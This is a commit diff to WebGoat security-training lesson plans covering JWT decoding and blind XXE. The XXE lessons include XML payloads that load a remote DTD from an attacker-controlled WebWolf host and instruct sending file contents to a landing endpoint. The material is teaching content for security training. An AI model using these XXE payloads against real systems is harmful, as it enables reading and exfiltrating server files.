Fix return type of asciidoctor macro implementation.

webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_decode.adoc

@@ -1,6 +1,6 @@
 == Decoding a JWT token
 
-Let's try decoding a JWT token, for this you can use the webWolfLink:JWT[] functionality inside WebWolf.
+Let's try decoding a JWT token, for this you can use the webWolfLink:JWT[target=jwt] functionality inside WebWolf.
 Given the following token:
 
 [source]

webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc

@@ -13,7 +13,7 @@ We can again use WebWolf to host a file called `attack.dtd`, create this file wi
 [source, subs="macros, specialcharacters"]
 ----
 <?xml version="1.0" encoding="UTF-8"?>
-<!ENTITY ping SYSTEM 'webWolfRootLink:landing[noLink]'>
+<!ENTITY ping SYSTEM 'webWolfRootLink:landing[noLink, target=landing]'>
 ----
 
 Now submit the form change the xml using to:
@@ -22,7 +22,7 @@ Now submit the form change the xml using to:
 ----
 <?xml version="1.0"?>
 <!DOCTYPE root [
-<!ENTITY % remote SYSTEM "webWolfLink:files/attack.dtd[noLink]">
+<!ENTITY % remote SYSTEM "webWolfLink:[webWolfLink]">
 %remote;
 ]>
 <comment>

webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc

@@ -11,6 +11,6 @@ In the previous page we showed you how you can ping a server with a XXE attack,
 
 |===
 
-Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]`
+Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink,target=landing]`
 (NOTE: this endpoint is under your full control)
 Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.